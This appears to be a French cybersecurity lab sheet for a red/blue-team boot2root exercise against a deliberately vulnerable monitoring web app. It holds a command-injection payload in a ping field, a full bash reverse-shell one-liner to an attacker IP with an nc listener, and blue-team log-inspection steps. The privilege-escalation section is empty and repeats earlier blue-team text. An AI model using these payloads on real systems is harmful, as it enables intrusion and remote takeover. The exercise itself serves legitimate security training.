# Fiche TP - Kali 03 - Boot2root

### <span style="text-decoration: underline;">**<span style="color: rgb(52,73,94); text-decoration: underline;">I. Introduction</span>**</span>

<p class="callout danger">**Disclaimer** : Merci de lire les notes suivantes avant d'aller plus loin dans ces TP.</p>

- Il est essentiel d'avoir pris connaissance et signé le contrat remis par le moniteur chargé des cours en cybersécurité.
- Ces TP ont pour vocations à être utilisés dans les environnement de tests prévus à cet effet.
- Pour rappel, toute utilisation des compétences évoqués plus bas à des fins malveillantes sont sévèrement punies par la loi.

#### <span style="color: rgb(35,111,161);">***1.1 Contexte***</span>

<table id="bkmrk-%C2%A0-%C2%A0-%C2%A0-la-soci%C3%A9t%C3%A9-ban" style="border-collapse: collapse; width: 100%; height: 192.391px;"><colgroup><col style="width: 27.0238%;"></col><col style="width: 72.9762%;"></col></colgroup><tbody><tr style="height: 192.391px;"><td style="border-style: none; height: 192.391px;">[![logo-large.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/logo-large.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/logo-large.png)

</td><td style="border-style: none; height: 192.391px;">L'entreprise à mis en place un nouveau système de monitoring sur une machine critique.

Celui-ci a été vibe codé par l'un des administrateur en s'aidant de l'IA locale.

Mais cette IA reste simpliste et cela introduira invariablement des vulnérabilités dans le système.

Dans ce cadre, l'entreprise a initialement demandé à son équipe SOC de réaliser un audit de l'application web.

Mais comme vous le verrez, cela pourra aller bien plus loin que prévu.

</td></tr></tbody></table>

#### ***<span style="color: rgb(35,111,161);">1.2 Objectifs</span>***

<table id="bkmrk-d%C3%A9roul%C3%A9-d%27une-attaqu" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td class="align-center" style="border-style: hidden;">Déroulé d'une attaque :</td><td class="align-center" style="border-style: hidden;">Processus de défense ( PICERL )</td></tr><tr><td class="align-center" style="border-style: hidden;"><div drawio-diagram="346"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1772114945-png.png" alt="drawing-1-1772114945.png"/></div>

</td><td class="align-center" style="border-style: hidden;"><div drawio-diagram="347"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1772115528-png.png" alt="drawing-1-1772115528.png"/></div>

</td></tr></tbody></table>

L'objectif de la team <span style="color: rgb(186,55,42);">***RED***</span> va être ici de dérouler le processus de l'attaque sur un serveur linux contenant un accès SSH protégé et un site en http.

Le but final est de prouver jusqu'où elle a pu aller en fournissant un rapport montrant les 3 étapes franchies.

- Celle sur le site de l'application prouvant l'accès initial.
- Celle sur le shell de l'utilisateur web prouvant la compromission de la machine.
- Celle de l'injection de la clé ssh prouvant la persistance.
- Celle montrant le contenu de /root, prouvant la réussite d'une escalade de privilège.
- Celle de la page du service web inaccessible, prouvant la réussite de l'arrêt du service.

L'objectif de la team <span style="color: rgb(35,111,161);">***BLUE***</span> est de répondre à l'incident en procédant pas à pas à une analyse forensique de l'attaque.

Le but final est de fournir un rapport sur les traces laissées par les attaquants.

---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**II. Préparation du TP**</span>

<table id="bkmrk-red-blue-installer-u" style="border-collapse: collapse; width: 100%; height: 59.5938px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td class="align-center" style="height: 29.7969px;"><span style="color: rgb(186,55,42);">***RED***</span></td><td class="align-center" style="height: 29.7969px;"><span style="color: rgb(35,111,161);">***BLUE***</span></td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">- Installer une machine Kali standard

</td><td style="height: 29.7969px;">- Installer un serveur Ubuntu et le préparer avec le script fourni.

</td></tr></tbody></table>

---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**III. Phase 1 : Reconnaissance**</span>

<p class="callout info"><span style="color: rgb(52, 73, 94);">**Info** : l'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> va fournir l'ip de ses machines à leurs collègue <span style="color: rgb(186,55,42);">***RED***</span>. On part en effet du principe que c'est un audit interne réalisé par l'équipe SOC.</span></p>

<details id="bkmrk-pour-la-red-team-l%27%C3%A9"><summary>Pour la RED team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Identifier les surfaces d'attaques

La phase de reconnaissance s'effectue en 2 temps :

L'équipe <span style="color: rgb(186,55,42);">***RED***</span> va tout d'abord scanner la machine de l'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> afin d'en déterminer la surface d'attaque.

```
nmap -sN -sV <ip machine>
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/AwZimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/AwZimage.png)

Il est possible de voir que 2 angles d'attaques sont possibles.

- Le SSH (version 10.2p1)
- le serveur web (apache 2.4.66)

Un premier test est effectué sur le ssh :

```
ssh user@<ip machine>
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/z2jimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/z2jimage.png)

Le serveur répond que seule l'authentification par clé publique est autorisée.

Cette voie parait donc compliquée mais le serveur web à répondu.

Il est possible de tenter une connexion.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/yajimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/yajimage.png)

Pour entrer ici, deux solutions sont possibles :

1. Utiliser les outils de DEV du navigateur (F12).
2. Scanner le site et trouver un fichier qui contiendrait des informations.

La méthode 1 sera explorée.

Ouvrir les outils de dev avec 'F12'. Il y a un onglet "Réseau".

Si la page est rechargée, l'ensemble des fichiers chargés côté client vont s'afficher.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/d5dimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/d5dimage.png)

<p class="callout info">**Info** : Examiner les différents fichiers pour trouver la porte d'entrée.</p>

A ce stade, l'accès au dashboard devrait être terminé.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/uyyimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/uyyimage.png)

Un autre onglet est visible, il permet d'effectuer un test ping.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/vr3image.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/vr3image.png)

</details><details id="bkmrk-pour-la-blue-team-%C2%A0"><summary>Pour la BLUE team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Observer les traces de la reconnaissance

L'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> ne va pas pouvoir immédiatement voir les traces de l'équipe <span style="color: rgb(186,55,42);">***RED***</span> sur la partie scan. En effet, le nmap n'effectuant au niveau réseau qu'un TCP SYN mais n'établissant pas de connexion complète, les traces ne sont pas visibles.

En revanche, la tentative de connexion ssh échouée aura laissé des traces.

Celles-ci sont visibles ici :

```
tail -f /var/log/auth.log | grep sshd-session
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/gyZimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/gyZimage.png)

<p class="callout info">**Info** : La donnée importante ici est la raison de l'échec de connexion \[preauth\]. C'est elle qui confirme que la méthode d'accès (login/mdp) est incorrecte car le SSH est paramétré pour accepter les clés.</p>

Les logs apache permettrons de voir les opérations entreprises.

```
tail -f /var/log/apache2/access.log
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/Mk4image.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/Mk4image.png)

Ici, il est possible de repérer l'ip de l’attaquant et de voir les requêtes GET et POST jouées.

Cependant, vu qu'il ne s'agit pas de 'brute force', pas de traces réellement significatives.

</details>---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**IV. Phase 2 : Préparation**</span>

Pas de phase de préparation sur cet exercice.

Cependant, il peut être intéressant de faire connaissance avec une technique qui va être utilisée plus loin.

<details id="bkmrk-le-reverse-shell-la-"><summary>Le reverse shell</summary>

La technique du reverse shell vise à contourner un problème de flux entrant bloqué, en inversant le sens de connexion au niveau TCP.

Pour initier une connexion et ouvrir un shell à distance, il faut que l'attaquant ouvre une connexion vers la machine cible (en ssh par exemple).

<div drawio-diagram="2833"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-08/drawing-1-1787059846.png" alt=""/></div>

Mais si il y a un pare-feu entre les deux, il peut être configuré pour bloquer les connexions entrantes.

<div drawio-diagram="2835"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-08/drawing-1-1787060064.png" alt=""/></div>

Cependant, il est rare quun pare-feu en configuration par défaut bloque les flux sortants.

L'idée ici est donc d'exécuter sur la machine cible une commande afin qu'elle même initie une connexion sortante vers le poste de l'attaquant.

<div drawio-diagram="2836"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-08/drawing-1-1787060308.png" alt=""/></div>

De cette manière, c'est la cible qui initie la connexion.

Pour que cela soit réalisable, il faut 3 conditions :

- l'attaquant doit préalablement être en écoute sur le socket qui servira à établir la connexion.
- le traffic sortant doit être autorisé sur le port de sortie choisi.
- l'attaquant doit livrer la commande malveillante à la cible, d'une manière ou dune autre.

</details>---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**V**</span><span style="text-decoration: underline; color: rgb(52,73,94);">**. Phase 3 : Accès initial**</span>

<details id="bkmrk-pour-la-red-team-obj"><summary>Pour la RED team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Gagner un accès au système.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/vr3image.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/vr3image.png)

Le retour visible sur cet écran est un retour d'une commande système.

Il peut en être déduit le comportement suivant :

1. une ip est entrée dans le champ
2. le technicien appuie sur le bouton 'ping'
3. le bouton appelle une fonction php qui fait un appel système et lui passe la commande 'ping -c 1 $IP'
4. le système exécute la commande, et renvoie le résultat dans une file de sortie
5. une fonction lit la file de sortie et l'affiche sur la page.

Une fois ce principe compris, il est temps de voir si ce champ est protégé contre l'injection de code vers le système.

il va falloir pour cela utiliser l'opérateur '<span style="color: rgb(132, 63, 161);">***&amp;&amp;***</span>'. Celui-ci permettra d'entrer l'adresse ip, puis de terminer la commande et enchaîner sur une seconde commande. ici '<span style="color: rgb(132, 63, 161);">***id***</span>', permettant de voir les identifiants pour l'utilisateur exécutant le service apache.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/JUMimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/JUMimage.png)

 Cela sera une preuve de la vulnérabilité qui pourra être soumise à <span style="color: rgb(35,111,161);">***BLUE***</span>.

Il est donc possible d'ouvrir ce que l'on appelle un '<span style="color: rgb(132, 63, 161);">***reverse shell***</span>' ou shell inversé.

Cela se fait en 2 temps :

- l'attaquant ouvre une fenêtre de console sur le poste d'attaque et y entre la commande :

```
nc -lvnp 4444
```

Cela ouvre un socket RAW en écoute sur le port 4444.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/L1Rimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/L1Rimage.png)

- Puis dans le champ de l'adresse IP sur la page, entrer :

```
8.8.8.8 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<ip attaquant>/4444 0>&1'
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/jFRimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/jFRimage.png)

Ce qui aura pour effet de connecter le reverse shell.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/Yk3image.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/Yk3image.png)

*<span style="text-decoration: underline;">**?Que viens t-il de se passer !?**</span>*

Pour le savoir, il faut décortiquer la commande donnée à la machine :

<table border="1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 26.0779%;"></col><col style="width: 73.9221%;"></col></colgroup><tbody><tr><td>**8.8.8.8**</td><td>adresse de la machine à ping (elle viens compléter la commande 'ping -c 1').</td></tr><tr><td>**&amp;&amp;**</td><td>lance une nouvelle commande après la fin de la précédente.</td></tr><tr><td>**/bin/bash -c ''**</td><td>exécute la commande bash suivante (donnée àprès le -c)</td></tr><tr><td>**/bin/bash -i**</td><td>Ouvre un terminal en mode interacti.</td></tr><tr><td>**&gt;&amp;**</td><td>redirrige le STDerr et le STDout vers ...</td></tr><tr><td>**/dev/tcp/&lt;ip&gt;/&lt;port&gt;**</td><td>le socket réseau défini ici</td></tr><tr><td>**0&gt;&amp;1**</td><td>Redirrige également le STDin vers le même flux que STDout.</td></tr></tbody></table>

</details><details id="bkmrk-pour-la-blue-team-ob"><summary>Pour la BLUE team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Observer les preuves de l'accès au système

L'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> ne va pouvoir voir les traçes laissées par les actions de l'équipe <span style="color: rgb(186,55,42);">***RED***</span> lors de l'injection de la commande leur permettant d'ouvrir le reverse shell.

```
tail -f /var/log/apache2/access.log
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/PNJimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/PNJimage.png)

Pour confirmer celle-ci, il est possible d'afficher les processus :

```
ps aux
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/oIYimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/oIYimage.png)

Et de voir les processus du reverse shell ouvert par <span style="color: rgb(186,55,42);">***RED***</span>.

</details>---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**VI**</span><span style="text-decoration: underline; color: rgb(52,73,94);">**. Phase 4 : Mouvement latéral**</span>

Pas de mouvement latéral prévu dans ce TP.

---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**VII**</span><span style="text-decoration: underline; color: rgb(52,73,94);">**. Phase 5 : Escalade de privilège**</span>

<details id="bkmrk-pour-la-red-team-obj-1"><summary>Pour la RED team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Gagner des privilèges plus élevés sur la machine

</details><details id="bkmrk-pour-la-blue-team-ob-1"><summary>Pour la BLUE team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Observer les traces de la reconnaissance

L'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> ne va pouvoir voir les traçes laissées par les actions de l'équipe <span style="color: rgb(186,55,42);">***RED***</span> lors de l'injection de la commande leur permettant d'ouvrir le reverse shell.

```
tail -f /var/log/apache2/access.log
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/PNJimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/PNJimage.png)

Pour confirmer celle-ci, il est possible d'afficher les processus :

```
ps aux
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/oIYimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/oIYimage.png)

Et de voir les processus du reverse shell ouvert par <span style="color: rgb(186,55,42);">***RED***</span>.

</details>